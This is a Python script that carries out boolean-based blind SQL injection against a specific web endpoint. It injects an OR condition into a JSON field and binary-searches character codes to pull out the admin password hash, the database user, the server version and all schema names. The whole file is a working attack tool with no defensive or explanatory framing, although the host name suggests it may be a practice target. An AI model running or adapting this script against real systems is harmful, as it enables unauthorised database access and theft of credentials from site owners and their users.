import json, requests, string, sys, time

TARGET = "https://regtest846.alwaysdata.net/sqli.php"
HEADERS = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

def send(q):
    try:
        r = requests.post(TARGET, data=json.dumps({"q": q}), headers=HEADERS, timeout=15)
        return r.text.strip() == "MATCH"
    except Exception:
        return None

def oracle(sqlcond):
    payload = "x' OR (" + sqlcond + ")-- "
    return send(payload)

def extract(expression, charset=None, maxlen=128, prefix="", verbose=True):
    charset = charset or string.printable.replace("'", "").replace("\\", "")
    result = ""
    for i in range(1, maxlen + 1):
        found = None
        # ASCII binary search
        lo, hi = 32, 126
        while lo <= hi:
            mid = (lo + hi) // 2
            cond = "ASCII(SUBSTRING(%s,%d,1))>%d" % (expression, i, mid)
            if oracle(cond) is True:
                lo = mid + 1
            else:
                hi = mid - 1
        c = chr(lo) if 32 <= lo <= 126 else None
        if c is None or (oracle("ASCII(SUBSTRING(%s,%d,1))=%d" % (expression, i, lo)) is False):
            break
        result += c
        if verbose:
            print("[%d] %r" % (i, c), flush=True)
    return result

if __name__ == "__main__":
    which = sys.argv[1] if len(sys.argv) > 1 else "hash"
    if which == "hash":
        val = extract("(SELECT passhash FROM users WHERE username='admin')")
        print("EXTRACTED passhash =", val)
    elif which == "user":
        val = extract("USER()")
        print("EXTRACTED USER() =", val)
    elif which == "version":
        val = extract("VERSION()")
        print("EXTRACTED VERSION() =", val)
    elif which == "dbs":
        val = extract("(SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA)")
        print("EXTRACTED databases =", val)